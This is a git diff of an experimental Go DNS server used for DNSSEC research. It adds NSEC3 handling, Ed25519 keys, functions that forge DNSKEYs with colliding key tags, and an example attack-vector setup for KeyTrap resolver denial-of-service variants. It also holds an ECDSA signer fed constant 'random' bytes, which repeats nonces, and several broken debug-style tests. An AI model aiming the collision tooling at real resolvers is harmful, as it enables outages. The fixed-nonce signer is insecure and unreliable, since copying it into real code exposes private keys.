byte(rdata.Algorithm) - buffer[3] = byte(rdata.DigestType) - copy(buffer[4:], rdata.Digest) - return rdata.Size(), nil + buffer[0] = byte(rdata.HashAlgorithm) + buffer[1] = uint8(rdata.Flags) + binary.BigEndian.PutUint16(buffer[2:], rdata.Iterations) + if rdata.SaltLength == 0 { + buffer[4] = byte(len(saltBytes)) + } else { + buffer[4] = rdata.SaltLength + } + copy(buffer[5:], saltBytes) + if rdata.HashLength == 0 { + buffer[5+len(saltBytes)] = byte(len(nextHashOwnerName)) + } else { + buffer[5+len(saltBytes)] = rdata.HashLength + } + buffer[6+len(saltBytes)] = byte(len(nextHashOwnerName)) + copy(buffer[7+len(saltBytes):], nextHashOwnerName) + copy(buffer[7+len(saltBytes)+len(nextHashOwnerName):], typeBitMaps) + return size, nil } -func (rdata *DNSRDATADS) DecodeFromBuffer(buffer []byte, offset int, rdLen int) (int, error) { - rdEnd := offset + rdLen - if rdLen < 4 { - return -1, fmt.Errorf("method DNSRDATADS DecodeFromBuffer failed: DS RDATA size %d is less than 4", rdLen) +func (rdata *DNSRDATANSEC3) DecodeFromBuffer(buffer []byte, offset int, rdLen int) (int, error) { + var err error + var rdEnd = offset + rdLen + if rdLen < 6 { + return -1, fmt.Errorf("method DNSRDATANSEC3 DecodeFromBuffer failed: NSEC3 RDATA size %d is less than 6", rdLen) } if len(buffer) < rdEnd { - return -1, fmt.Errorf("method DNSRDATADS DecodeFromBuffer failed: buffer length %d is less than offset %d + DS RDATA size %d", len(buffer), offset, rdata.Size()) + return -1, fmt.Errorf("method DNSRDATANSEC3 DecodeFromBuffer failed: buffer length %d is less than offset %d + NSEC3 RDATA size %d", len(buffer), offset, rdata.Size()) } - rdata.KeyTag = binary.BigEndian.Uint16(buffer[offset:]) - rdata.Algorithm = DNSSECAlgorithm(buffer[offset+2]) - rdata.DigestType = DNSSECDigestType(buffer[offset+3]) - copy(rdata.Digest, buffer[offset+4:rdEnd]) + rdata.HashAlgorithm = DNSSECDigestType(buffer[offset]) + rdata.Flags = NSEC3Flags(buffer[offset+1]) + rdata.Iterations = binary.BigEndian.Uint16(buffer[offset+2:]) + rdata.SaltLength = buffer[offset+4] + rdata.Salt = string(buffer[offset+5 : offset+5+int(rdata.SaltLength)]) + if err != nil { + return -1, fmt.Errorf("method DNSRDATANSEC3 DecodeFromBuffer failed: decode NSEC3 Salt failed.\n%v", err) + } + offset += 5 + int(rdata.SaltLength) + rdata.HashLength = buffer[offset] + rdata.NextHashedOwnerName = base32.StdEncoding.EncodeToString(buffer[offset+1 : offset+1+int(rdata.HashLength)]) + if err != nil { + return -1, fmt.Errorf("method DNSRDATANSEC3 DecodeFromBuffer failed: decode NSEC3 Next Hashed Owner Name failed.\n%v", err) + } + rdata.TypeBitMaps = DecodeTypeBitMaps(buffer[offset+1+int(rdata.HashLength) : rdEnd]) return rdEnd, nil } diff --git a/dns/rdata_test.go b/dns/rdata_test.go index d148d24..da4712e 100644 --- a/dns/rdata_test.go +++ b/dns/rdata_test.go @@ -486,7 +486,7 @@ func TestDNSRDATADNSKEYDecodeFromBuffer(t *testing.T) { // 待测试的 NSEC 记录 RDATA 对象。 var testedDNSRDATANSEC = DNSRDATANSEC{ NextDomainName: "example.com", - TypeBitMaps: []byte{0x01, 0x02, 0x03, 0x04}, + TypeBitMaps: []DNSType{DNSRRTypeA, DNSRRTypeNS, DNSRRTypeCNAME}, } // 待测试的 NSEC 记录 RDATA 编码后结果。 @@ -494,7 +494,7 @@ var testedDNSRDATANSECEncoded = []byte{ 0x07, 'e', 'x', 'a', 'm', 'p', 'l', 'e', 0x03, 'c', 'o', 'm', 0x00, - 0x01, 0x02, 0x03, 0x04, + 0x00, 0x01, 0x64, } // 测试 NSEC RDATA 的 Size 方法 @@ -554,7 +554,7 @@ func TestDNSRDATANSECDecodeFromBuffer(t *testing.T) { t.Errorf("function DNSRDATANSECDecodeFromBuffer() failed:\ngot:%d\nexpected: %d", offset, len(testedDNSRDATANSECEncoded)) } - if decodedDNSRDATANSEC.Equal(&testedDNSRDATANSEC) { + if !decodedDNSRDATANSEC.Equal(&testedDNSRDATANSEC) { t.Errorf("function DNSRDATANSECDecodeFromBuffer() failed:\ngot:\n%v\nexpected:\n%v", decodedDNSRDATANSEC.String(), testedDNSRDATANSEC.String()) } @@ -567,6 +567,39 @@ func TestDNSRDATANSECDecodeFromBuffer(t *testing.T) { } } +// 测试 NSEC3 RDATA +var testedDNSRDATANSEC3 = DNSRDATANSEC3{ + HashAlgorithm: DNSSECDigestTypeSHA1, + Flags: NSEC3FlagOptOut, + Iterations: 12, + SaltLength: 0, + Salt: "aabbccdd", + NextHashedOwnerName: "example", + TypeBitMaps: []DNSType{DNSRRTypeA, DNSRRTypeRRSIG}, +} + +// 1 1 +// 0 12 +// 8 +// 97 97 98 98 99 99 100 100 +// 20 +// 99 82 96 22 213 +// 115 203 233 166 230 +// 231 187 154 234 235 +// 204 161 95 168 4 +// 0 1 64 +func TestDNSRDATANSEC3(t *testing.T) { + encodedDNSRDATANSEC3 := testedDNSRDATANSEC3.Encode() + t.Errorf("%v, %d", encodedDNSRDATANSEC3, len(encodedDNSRDATANSEC3)) + decodedDNSRDATANSEC3 := DNSRDATANSEC3{} + _, err := decodedDNSRDATANSEC3.DecodeFromBuffer(encodedDNSRDATANSEC3, 0, len(encodedDNSRDATANSEC3)) + if err != nil { + t.Errorf("function DNSRDATANSEC3DecodeFromBuffer() failed:\n%s", err) + } + t.Errorf("%s", decodedDNSRDATANSEC3.String()) + +} + // 测试 DS RDATA // 待测试的 DS 记录 RDATA 对象。 diff --git a/dns/types.go b/dns/types.go index d4c6acf..ff7666a 100644 --- a/dns/types.go +++ b/dns/types.go @@ -475,3 +475,41 @@ func (dnsType DNSType) String() string { return "DLV" } } + +func PubilcKeySizeOf(alg DNSSECAlgorithm) int { + switch alg { + case DNSSECAlgorithmECDSAP256SHA256: + return 64 + case DNSSECAlgorithmECDSAP384SHA384: + return 96 + case DNSSECAlgorithmED25519: + return 32 + } + return 0 +} + +func DigestSizeOf(alg DNSSECDigestType) int { + switch alg { + case DNSSECDigestTypeSHA1: + return 20 + case DNSSECDigestTypeSHA256: + return 32 + case DNSSECDigestTypeSHA384: + return 48 + case DNSSECDigestTypeSHA512: + return 64 + default: + return 0 + } +} + +func SignatureSizeOf(alg DNSSECAlgorithm) int { + switch alg { + case DNSSECAlgorithmECDSAP256SHA256: + return 64 + case DNSSECAlgorithmECDSAP384SHA384: + return 96 + default: + return 0 + } +} diff --git a/dns/xperi/dnssec.go b/dns/xperi/dnssec.go index a1a582f..112dada 100644 --- a/dns/xperi/dnssec.go +++ b/dns/xperi/dnssec.go @@ -7,6 +7,7 @@ package xperi import ( "crypto" "crypto/ecdsa" + "crypto/ed25519" "crypto/elliptic" "crypto/rand" "crypto/rsa" @@ -17,8 +18,9 @@ import ( "encoding/base64" "fmt" "math/big" + mrand "math/rand" - "github.com/tochusc/godns/dns" + "github.com/tochusc/xdns/dns" ) // ParseKeyBase64 解析 Base64 编码的密钥为字节切片 @@ -225,6 +227,7 @@ func GenerateRDATADS(oName string, kRDATA dns.DNSRDATADNSKEY, dType dns.DNSSECDi case dns.DNSSECDigestTypeSHA384: nDigest := sha512.Sum384(pText) digest = nDigest[:] + default: panic(fmt.Sprintf("unsupported digest type: %d", dType)) } @@ -267,56 +270,37 @@ func GenerateRRDS(oName string, kRDATA dns.DNSRDATADNSKEY, dType dns.DNSSECDiges // // 返回值: // - 你想要的 DNSKEY RDATA -func GenerateRandomDNSKEYWithTag(algo dns.DNSSECAlgorithm, flag dns.DNSKEYFlag, tag int) dns.DNSRDATADNSKEY { - algorithmer := DNSSECAlgorithmerFactory(algo) - _, pubKey := algorithmer.GenerateKey() - pKey := dns.DNSRDATADNSKEY{ - Flags: flag, - Protocol: 3, - Algorithm: algo, - PublicKey: pubKey, +func GenerateCollidedDNSKEY(rdata dns.DNSRDATADNSKEY) dns.DNSRDATADNSKEY { + + keyLen := len(rdata.PublicKey) + + keyByte := make([]byte, keyLen) + copy(keyByte, rdata.PublicKey) + + randomIndexPlus := mrand.Intn(keyLen/2) + 1 + randomIndexMinus := mrand.Intn(keyLen/2) + 1 + + for randomIndexPlus == randomIndexMinus { + randomIndexMinus = mrand.Intn(keyLen/2) + 1 } - rTag := CalculateKeyTag(pKey) - dif := tag - int(rTag) - if dif < 0 { - dif = 0xFFFF + dif - } - hDif := dif & 0xFF00 >> 8 - lDif := dif & 0xFF - for i := 0; i < len(pubKey); i++ { - bVal := int(pubKey[i]) - if lDif != 0 && i&1 == 1 { - if bVal+lDif > 255 { - lDif = 255 - int(pubKey[i]) - pubKey[i] = 255 - } else if bVal+lDif < 0 { - lDif -= int(pubKey[i]) - pubKey[i] = 0 - } else { - pubKey[i] = byte(int(pubKey[i]) + lDif) - lDif = 0 - } - } - if hDif != 0 && i&1 == 0 { - if bVal+hDif > 255 { - hDif = 255 - int(pubKey[i]) - pubKey[i] = 255 - } else if bVal+hDif < 0 { - hDif -= int(pubKey[i]) - pubKey[i] = 0 - } else { - pubKey[i] = byte(int(pubKey[i]) + hDif) - hDif = 0 - } - } + randomOffset := uint8(mrand.Intn(128)) + 1 + + keyByte[randomIndexPlus*2-1] = keyByte[randomIndexPlus*2-1] + randomOffset + if keyByte[randomIndexPlus*2-1] < randomOffset { + keyByte[randomIndexPlus*2-2] = keyByte[randomIndexPlus*2-2] + 1 } - nTag := CalculateKeyTag(pKey) + keyByte[randomIndexMinus*2-1] = keyByte[randomIndexMinus*2-1] - randomOffset + if keyByte[randomIndexMinus*2-1] > 255-randomOffset { + keyByte[randomIndexMinus*2-2] = keyByte[randomIndexMinus*2-2] - 1 + } - // 重新计算 Key Tag, 算法不能保证成功 - if nTag != uint16(tag) { - return GenerateRandomDNSKEYWithTag(algo, flag, tag) + pKey := dns.DNSRDATADNSKEY{ + Flags: rdata.Flags, + Protocol: rdata.Protocol, + Algorithm: rdata.Algorithm, + PublicKey: keyByte, } return pKey @@ -330,18 +314,30 @@ func GenerateRandomDNSKEYWithTag(algo dns.DNSSECAlgorithm, flag dns.DNSKEYFlag, // // 返回值: // - 你想要的 DNSKEY RDATA -// -// 注意:这个函数会十分耗时,因为它会尝试生成大量的密钥对,直到找到一个符合要求的密钥对。 -func GenerateDNSKEYWithTag(algo dns.DNSSECAlgorithm, flag dns.DNSKEYFlag, tag int) dns.DNSRDATADNSKEY { - for { - kRDATA, _ := GenerateRDATADNSKEY( - algo, - flag, - ) - if CalculateKeyTag(kRDATA) == uint16(tag) { - return kRDATA - } +func GenerateDNSKEYWithTag(rdata dns.DNSRDATADNSKEY, i int) dns.DNSRDATADNSKEY { + kbLen := len(rdata.PublicKey) + kb := make([]byte, kbLen) + copy(kb, rdata.PublicKey) + randomIndex := mrand.Intn(kbLen/2) + 1 + + lowOff := uint8(i % 256) + highOff := uint8(i / 256) + for kb[randomIndex*2-2] < highOff { + randomIndex = mrand.Intn(kbLen/2) + 1 + } + kb[randomIndex*2-2] = kb[randomIndex*2-2] - highOff + + kb[randomIndex*2-1] = kb[randomIndex*2-1] - lowOff + if kb[randomIndex*2-1] > 255-lowOff { + kb[randomIndex*2-2] = kb[randomIndex*2-2] - 1 + } + + return dns.DNSRDATADNSKEY{ + Flags: rdata.Flags, + Protocol: rdata.Protocol, + Algorithm: rdata.Algorithm, + PublicKey: kb, } } @@ -375,15 +371,26 @@ func GenerateRandomString(length int) string { func GenerateRandomRDATARRSIG(rrSet []dns.DNSResourceRecord, algo dns.DNSSECAlgorithm, expiration, inception uint32, keyTag uint16, signerName string) dns.DNSRDATARRSIG { - algorithmer := DNSSECAlgorithmerFactory(algo) - privKey, _ := algorithmer.GenerateKey() - rText := GenerateRandomString(96) - sig, err := algorithmer.Sign([]byte(rText), privKey) - if err != nil { - panic(fmt.Sprintf("function GenerateRandomRRSIG() failed:\n%s", err)) + var sigLen int + switch algo { + case dns.DNSSECAlgorithmRSASHA1: + sigLen = 128 + case dns.DNSSECAlgorithmRSASHA256: + sigLen = 256 + case dns.DNSSECAlgorithmRSASHA512: + sigLen = 512 + case dns.DNSSECAlgorithmECDSAP256SHA256: + sigLen = 64 + case dns.DNSSECAlgorithmECDSAP384SHA384: + sigLen = 96 + case dns.DNSSECAlgorithmED25519: + sigLen = 64 + default: + panic(fmt.Sprintf("unsupported algorithm: %d", algo)) } - _, err = rand.Read(sig) + sig := make([]byte, sigLen) + _, err := rand.Read(sig) if err != nil { panic(fmt.Sprintf("function GenerateRandomRRSIG() failed:\n%s", err)) } @@ -392,7 +399,7 @@ func GenerateRandomRDATARRSIG(rrSet []dns.DNSResourceRecord, algo dns.DNSSECAlgo TypeCovered: rrSet[0].Type, Algorithm: algo, Labels: uint8(dns.CountDomainNameLabels(&rrSet[0].Name)), - OriginalTTL: 3600, + OriginalTTL: 8, Expiration: expiration, Inception: inception, KeyTag: keyTag, @@ -424,22 +431,25 @@ func GenerateRandomRRRRSIG(rrSet []dns.DNSResourceRecord, algo dns.DNSSECAlgorit } func GenerateRandomRDATADS(oName string, keytag int, algo dns.DNSSECAlgorithm, dType dns.DNSSECDigestType) dns.DNSRDATADS { - rText := []byte(GenerateRandomString(96)) - var digest []byte + + var digestLen int switch dType { case dns.DNSSECDigestTypeSHA1: - nDigest := sha1.Sum(rText) - digest = nDigest[:] + digestLen = 20 case dns.DNSSECDigestTypeSHA256: - nDigest := sha256.Sum256(rText) - digest = nDigest[:] + digestLen = 32 case dns.DNSSECDigestTypeSHA384: - nDigest := sha512.Sum384(rText) - digest = nDigest[:] + digestLen = 48 default: panic(fmt.Sprintf("unsupported digest type: %d", dType)) } + digest := make([]byte, digestLen) + _, err := rand.Read(digest) + if err != nil { + panic(fmt.Sprintf("function GenerateRandomDS() failed:\n%s", err)) + } + // 4. 构建 DS RDATA return dns.DNSRDATADS{ KeyTag: uint16(keytag), @@ -484,6 +494,8 @@ func DNSSECAlgorithmerFactory(algo dns.DNSSECAlgorithm) DNSSECAlgorithmer { return ECDSAP256SHA256{} case dns.DNSSECAlgorithmECDSAP384SHA384: return ECDSAP384SHA384{} + case dns.DNSSECAlgorithmED25519: + return ED25519{} default: panic(fmt.Sprintf("unsupported algorithm: %d", algo)) } @@ -528,11 +540,16 @@ func (RSASHA1) GenerateKey() ([]byte, []byte) { type RSASHA256 struct{} func (RSASHA256) Sign(data, privKey []byte) ([]byte, error) { + copied_data := make([]byte, len(data)) + copy(copied_data, data) + copied_key := make([]byte, len(privKey)) + copy(copied_key, privKey) + // 计算明文摘要 - digest := sha256.Sum256(data) + digest := sha256.Sum256(copied_data) // 重建 RSA 私钥 - pKey, err := x509.ParsePKCS1PrivateKey(privKey) + pKey, err := x509.ParsePKCS1PrivateKey(copied_key) if err != nil { return nil, fmt.Errorf("failed to parse private key: %s", err) } @@ -569,6 +586,9 @@ func (RSASHA512) Sign(data, privKey []byte) ([]byte, error) { // 重建 RSA 私钥 pKey, err := x509.ParsePKCS1PrivateKey(privKey) + if err != nil { + return nil, fmt.Errorf("failed to parse private key: %s", err) + } // 签名 signature, err := rsa.SignPKCS1v15(nil, pKey, crypto.SHA512, digest[:]) @@ -630,19 +650,39 @@ func (ECDSAP256SHA256) GenerateKey() ([]byte, []byte) { type ECDSAP384SHA384 struct{} +type MyReader struct { +} + +func (MyReader) Read(p []byte) (n int, err error) { + for i := 0; i < len(p); i++ { + p[i] = 1 + } + return len(p), nil +} + func (ECDSAP384SHA384) Sign(data, privKey []byte) ([]byte, error) { // 计算明文摘要 digest := sha512.Sum384(data) // 重建 ECDSA 私钥 - curve := elliptic.P384() - pKey := new(ecdsa.PrivateKey) - pKey.PublicKey.Curve = curve - pKey.D = new(big.Int).SetBytes(privKey) - pKey.PublicKey.X, pKey.PublicKey.Y = curve.ScalarBaseMult(privKey) + var pKey *ecdsa.PrivateKey + + xpkey, err := x509.ParsePKCS8PrivateKey(privKey) + if err != nil { + curve := elliptic.P384() + pKey = new(ecdsa.PrivateKey) + pKey.PublicKey.Curve = curve + pKey.D = new(big.Int).SetBytes(privKey) + pKey.PublicKey.X, pKey.PublicKey.Y = curve.ScalarBaseMult(privKey) + } else { + pKey = xpkey.(*ecdsa.PrivateKey) + if err != nil { + return nil, fmt.Errorf("failed to parse private key: %s", err) + } + } // 签名 - r, s, err := ecdsa.Sign(rand.Reader, pKey, digest[:]) + r, s, err := ecdsa.Sign(MyReader{}, pKey, digest[:]) if err != nil { return nil, fmt.Errorf("failed to sign: %s", err) } @@ -661,3 +701,25 @@ func (ECDSAP384SHA384) GenerateKey() ([]byte, []byte) { pubKeyBytes := append(privKey.PublicKey.X.Bytes(), privKey.PublicKey.Y.Bytes()...) return privKeyBytes, pubKeyBytes } + +// ED25519 是 Ed25519 签名算法的实现 +type ED25519 struct{} + +func (ED25519) Sign(data, privKey []byte) ([]byte, error) { + // 计算明文摘要 + digest := sha512.Sum512(data) + + // 使用 Ed25519 签名 + signature := ed25519.Sign(privKey, digest[:]) + + return signature, nil +} + +func (ED25519) GenerateKey() ([]byte, []byte) { + // 生成 Ed25519 密钥对 + pubKey, privKey, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + panic(fmt.Sprintf("failed to generate Ed25519 key: %s", err)) + } + return privKey, pubKey +} diff --git a/dns/xperi/dnssec_test.go b/dns/xperi/dnssec_test.go index 9d31d9c..b8b03ee 100644 --- a/dns/xperi/dnssec_test.go +++ b/dns/xperi/dnssec_test.go @@ -5,27 +5,70 @@ package xperi import ( + "encoding/base64" + "encoding/hex" "net" "testing" - "github.com/tochusc/godns/dns" + "github.com/tochusc/xdns/dns" ) +func TestMyTest(t *testing.T) { + nsrdata := dns.DNSRDATANS{ + NSDNAME: "ns.test.", + } + t.Logf("NSRR: %s", nsrdata.Encode()) + +} + +func TestGenerateKSKDS(t *testing.T) { + kskPublic := ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") + ksk := dns.DNSRDATADNSKEY{ + Flags: dns.DNSKEYFlagSecureEntryPoint, + Protocol: 3, + Algorithm: dns.DNSSECAlgorithmECDSAP384SHA384, + PublicKey: kskPublic, + } + ds := GenerateRDATADS("test.", ksk, dns.DNSSECDigestTypeSHA256) + t.Logf("DS: %s\n, Digest: %s\n", ds.String(), hex.EncodeToString(ds.Digest)) +} + // TestGenerateRandomKeyWithTag 测试 GenerateRandomKeyWithTag 函数 -func TestGenerateRandomKeyWithTag(t *testing.T) { - key := GenerateRandomDNSKEYWithTag(dns.DNSSECAlgorithmRSASHA256, dns.DNSKEYFlagZoneKey, 12345) - if CalculateKeyTag(key) != 12345 { - t.Errorf("Key Tag not match, got: %d, expected: %d", CalculateKeyTag(key), 12345) +func TestGenerateCollidedDNSKEY(t *testing.T) { + for i := 0; i < 200; i++ { + key1, _ := GenerateRDATADNSKEY(dns.DNSSECAlgorithmECDSAP384SHA384, dns.DNSKEYFlagZoneKey) + key2 := GenerateCollidedDNSKEY(key1) + if CalculateKeyTag(key1) != CalculateKeyTag(key2) { + t.Errorf("Key Tag not match: %d != %d", CalculateKeyTag(key1), CalculateKeyTag(key2)) + } } } -// // TestGenKeyWithTag 测试 GenKeyWithTag 函数 -// func TestGenenrateDNSKEYWithTag(t *testing.T) { -// key := GenerateDNSKEYWithTag(dns.DNSSECAlgorithmRSASHA256, dns.DNSKEYFlagZoneKey, 41797) -// if int(CalculateKeyTag(key)) != 41797 { -// t.Errorf("Key Tag not match, got: %d, expected: %d", CalculateKeyTag(key), 41797) -// } -// } +// TestGenerateRDATADNSKEY 测试 GenerateRDATADNSKEY 函数 +func TestGenerateRDATADNSKEY(t *testing.T) { + pubKey, privKey := GenerateRDATADNSKEY(dns.DNSSECAlgorithmED25519, dns.DNSKEYFlagSecureEntryPoint) + // if pubKey.Flags != dns.DNSKEYFlagZoneKey { + // t.Errorf("Flag not match") + // } + // if pubKey.Protocol != 3 { + // t.Errorf("Protocol not match") + // } + // if pubKey.Algorithm != dns.DNSSECAlgorithmECDSAP384SHA384 { + // t.Errorf("Algorithm not match") + // } + t.Logf("Public Key: %s", base64.StdEncoding.EncodeToString(pubKey.PublicKey)) + t.Logf("Private Key: %s", base64.StdEncoding.EncodeToString(privKey)) +} + +// TestGenKeyWithTag 测试 GenKeyWithTag 函数 +func TestGenenrateDNSKEYWithTag(t *testing.T) { + ksk, _ := GenerateRDATADNSKEY(dns.DNSSECAlgorithmECDSAP384SHA384, dns.DNSKEYFlagZoneKey) + keytag := CalculateKeyTag(ksk) + key := GenerateDNSKEYWithTag(ksk, 1) + if keytag != CalculateKeyTag(key)+1 { + t.Errorf("Key Tag not match: %d != %d", keytag, CalculateKeyTag(key)+1) + } +} // TestGenRandomRRSIG 测试 GenRandomRRSIG 函数 func TestGenerateRandomRRSIG(t *testing.T) { diff --git a/doc.go b/doc.go index 063e325..7fa7741 100644 --- a/doc.go +++ b/doc.go @@ -2,13 +2,13 @@ // # 简体中文 // -// GoDNS 是一个快速、灵活的实验用 DNS 服务器,旨在帮助开发者和研究人员探索和实验 DNS 协议的各种特性。 +// xdns 是一个快速、灵活的实验用 DNS 服务器,旨在帮助开发者和研究人员探索和实验 DNS 协议的各种特性。 // -// # GoDNSServer +// # xdnsServer // -// [GoDNSServer] 是对 DNS 服务器的最顶层封装。 +// [xdnsServer] 是对 DNS 服务器的最顶层封装。 // -// GoDNSServer 包含以下三部分: +// xdnsServer 包含以下三部分: // - ServerConfig: DNS 服务器配置 // - Netter: 数据包处理器 // - Responser: DNS回复器 @@ -19,12 +19,12 @@ // // 示例 // -// 通过下述几行代码,可以一键启动一个基础的 GoDNS 服务器: +// 通过下述几行代码,可以一键启动一个基础的 xdns 服务器: // -// server := godns.GoDNSServer{ +// server := xdns.xdnsServer{ // ServerConfig: sConf, -// Netter: godns.Netter{ -// Config: godns.NetterConfig{ +// Netter: xdns.Netter{ +// Config: xdns.NetterConfig{ // Port: sConf.Port, // MTU: sConf.MTU, // }, @@ -118,13 +118,13 @@ // // # English // -// GoDNS is a fast and flexible experimental DNS server designed to help developers and researchers explore and experiment with various features of the DNS protocol. +// xdns is a fast and flexible experimental DNS server designed to help developers and researchers explore and experiment with various features of the DNS protocol. // -// # GoDNSServer +// # xdnsServer // -// GoDNSServer is the top-level abstraction for a DNS server. +// xdnsServer is the top-level abstraction for a DNS server. // -// GoDNSServer consists of the following three components: +// xdnsServer consists of the following three components: // - ServerConfig: DNS server configuration // - Netter: Packet handler // - Responser: DNS responder @@ -135,12 +135,12 @@ // // # Example // -// You can quickly start a basic GoDNS server with the following lines of code: +// You can quickly start a basic xdns server with the following lines of code: // -// server := godns.GoDNSServer{ +// server := xdns.xdnsServer{ // ServerConfig: sConf, -// Netter: godns.Netter{ -// Config: godns.NetterConfig{ +// Netter: xdns.Netter{ +// Config: xdns.NetterConfig{ // Port: sConf.Port, // MTU: sConf.MTU, // }, @@ -223,4 +223,4 @@ // - GenWrongKeyWithTag: Generates an incorrect DNSKEY with a specified KeyTag. // // - GenKeyWithTag [This function is resource-intensive]: Generates a DNSKEY with a specified KeyTag. -package godns +package xdns diff --git a/docs/en/README.md b/docs/en/README.md index a7fb483..d650f05 100644 --- a/docs/en/README.md +++ b/docs/en/README.md @@ -1,41 +1,41 @@ -# GoDNS +# xdns -[![madewithlove](https://img.shields.io/badge/made_with-%E2%9D%A4-red?style=for-the-badge&labelColor=orange&style=flat-square)](https://github.com/TochusC/godns) -![Go Version](https://img.shields.io/github/go-mod/go-version/tochusc/godns/master?filename=go.mod&style=flat-square) -![Latest Version](https://img.shields.io/github/v/tag/tochusc/godns?label=latest&style=flat-square) -![License](https://img.shields.io/github/license/tochusc/godns?style=flat-square) -[![GoDoc](https://godoc.org/github.com/tochusc/godns?status.svg)](https://godoc.org/github.com/tochusc/godns) +[![madewithlove](https://img.shields.io/badge/made_with-%E2%9D%A4-red?style=for-the-badge&labelColor=orange&style=flat-square)](https://github.com/TochusC/xdns) +![Go Version](https://img.shields.io/github/go-mod/go-version/tochusc/xdns/master?filename=go.mod&style=flat-square) +![Latest Version](https://img.shields.io/github/v/tag/tochusc/xdns?label=latest&style=flat-square) +![License](https://img.shields.io/github/license/tochusc/xdns?style=flat-square) +[![GoDoc](https://godoc.org/github.com/tochusc/xdns?status.svg)](https://godoc.org/github.com/tochusc/xdns) [简体中文](../../README.md) | [English](README.md) -GoDNS is a fast, flexible **experimental** DNS server designed to help developers and researchers explore and experiment with various features of the DNS protocol. +xdns is a fast, flexible **experimental** DNS server designed to help developers and researchers explore and experiment with various features of the DNS protocol. ## Table of Contents -- [GoDNSServer](#godnsserver) +- [xdnsServer](#xdnsserver) - [Examples](#examples) - [Constructing and Generating DNS Replies](#constructing-and-generating-dns-replies) - [dns Package](#dns-package) - [xlayers Subpackage](#xlayers-subpackage) - [xperi Subpackage](#xperi-subpackage) -## GoDNSServer +## xdnsServer -`GoDNSServer` is a top-level wrapper for the DNS server, consisting of three parts: +`xdnsServer` is a top-level wrapper for the DNS server, consisting of three parts: 1. **ServerConfig**: Configuration for the DNS server. 2. **Netter**: Packet handler that receives, parses, and sends packets while maintaining connection state. 3. **Responser**: DNS responder that responds, parses, and constructs DNS replies. ```go -type GoDNSServer struct { +type xdnsServer struct { ServerConfig DNSServerConfig Netter Netter Responer Responser } -// Start the GoDNS server! -func (s *GoDNSServer) Start() +// Start the xdns server! +func (s *xdnsServer) Start() ``` ### Netter @@ -83,14 +83,14 @@ type Responser interface { // size=16 (0x10) ## Examples -With just a few lines of code, you can start a basic GoDNS server: +With just a few lines of code, you can start a basic xdns server: ```go // Create a DNS server -server := godns.GoDNSServer{ +server := xdns.xdnsServer{ ServerConfig: sConf, - Netter: godns.Netter{ - Config: godns.NetterConfig{ + Netter: xdns.Netter{ + Config: xdns.NetterConfig{ Port: sConf.Port, MTU: sConf.MTU, }, @@ -174,4 +174,4 @@ This project is licensed under the [GPL-3.0 License](LICENSE). --- -For more information or support, please visit our [GitHub page](https://github.com/TochusC/godns). \ No newline at end of file +For more information or support, please visit our [GitHub page](https://github.com/TochusC/xdns). \ No newline at end of file diff --git a/example/benign/main.go b/example/benign/main.go index f042ee9..dcce5ee 100644 --- a/example/benign/main.go +++ b/example/benign/main.go @@ -1,83 +1,123 @@ package main import ( + "fmt" "log" + "math/rand" "net" "os" "sort" + "strconv" "strings" "sync" "time" - "github.com/tochusc/godns" - "github.com/tochusc/godns/dns" - "github.com/tochusc/godns/dns/xperi" + "github.com/tochusc/xdns" + "github.com/tochusc/xdns/dns" + "github.com/tochusc/xdns/dns/xperi" ) -// // HashTrap v2攻击向量 -// // ✔️Unbound MAX_DS_MATCH_FAILURE(5) -// // ❌BIND #DS<100 and #DNSKEY<100 -// // ✔️Knot Resolver Expensive Crypto Limited -// // ❌PDNS Recursor #DS<=9 and #DNSKEY<=2 -// var ExperiVec = KeyTrapVector{ -// CollidedSigNum: 1, -// CollidedZSKNum: 1, - -// CollidedKSKNum: 4, -// CollidedDSNum: 10, - -// // www.atk.test -// // atk.test -> test -// // atk.test 80 DS_KSK, -// // DS 16 KegTag== DS -// // KSK 4 KeyTag== KSK -// // 80 * 17 = 1280 #DS -// // 5 * 80 = 400 #KSK - -// ANYRRSetNum: 1, -// DS_KSK_PairNum: 80, -// } - -// // -// 32req/s 32dif Malfare Auth. 32 * 400 KSK(Random), 32*1280 DS(Random) -// Pre-Generate: -// DS --> KSK -// RRSIG --> RDATA -// -// Goroutine -// -// Graph --> Load, Loss(Benign request script: 10 req/s got answer?) -// -// No DNSSEC --> -// DNSSEC --> -// -// Local ? Remote -// -// Virtual - -var ExperiVec = KeyTrapVector{ - // KeySigTrap:(SigJam, LockCram) - CollidedSigNum: 1, // SigJam - CollidedZSKNum: 1, // LockCram - - // HashTrap - CollidedKSKNum: 1, - CollidedDSNum: 1, - - // HashTrap v2 - DS_KSK_PairNum: 1, - - // ANY - ANYRRSetNum: 1, +var ServerIP = net.IPv4(10, 10, 1, 2) +var IsNameCompression = false +var IsDNSSEC = true +var InitTime = time.Now().UTC().Unix() + +// 测试向量 +var ExperiVec = AttackVector{ + CollidedSigNum: 0, + CollidedZSKNum: 0, + CollidedKSKNum: 0, + CollidedDSNum: 0, + IsDynamicDSNum: false, + ANYRRSetNum: 0, + + Invalid_DS_KSK_PairNum: 0, + InvalidCollidedKSKNum: 0, + InvalidCollidedDSNum: 0, + + TXTRRNum: 0, + TXTRDataSize: 0, + CNAMEChainNum: 0, + NSRRNum: 0, + IsNSEC: false, + NSECRRNum: 0, + NSEC3ItertationNum: -1, + // www.atk.test + // DNSSEC Query: #RRSIG = CollidedSigNum + 1(Valid) + // DNSKEY Query: #DNSKEY = #ZSK && #KSK = CollidedZSKNum + 1(Valid) && CollidedKSKNum + 1(Valid) + // DS Query: #DS = Invalid_DS_KSK_PairNum * CollidedDSNum + 1(Valid) + // ANY Query: #RRSet = ANYRRSettNum + + // Adujust AttackVector --> Adjust KeyTrap Attack. + + // KeyTrap Variants: + // 1. SigJam (Validation Order✔️) --> RRSIG* x DNSKEY --> CollidedSigNum (RRSIG Validation) + // 2. LockCram (Validation Order❌) --> RRSIG x DNSKEY* --> CollidedZSKNum (RRSIG Validation) + // 3. KeySigTrap (Validation Order❌) --> RRSIG* x DNSKEY* --> CollidedSigNum, CollidedZSKNum (RRSIG Validation) + // 4. HashTrap (Validation Order✔️) --> DS* x DNSKEY* --> CollidedDSNum, CollidedKSKNum (Hash Calculation) + // X. ANY (No Failure, #RRSet⬆️) --> (RRSIG, DNSKEY)* --> ANYRRSettNum (RRSIG Validation) 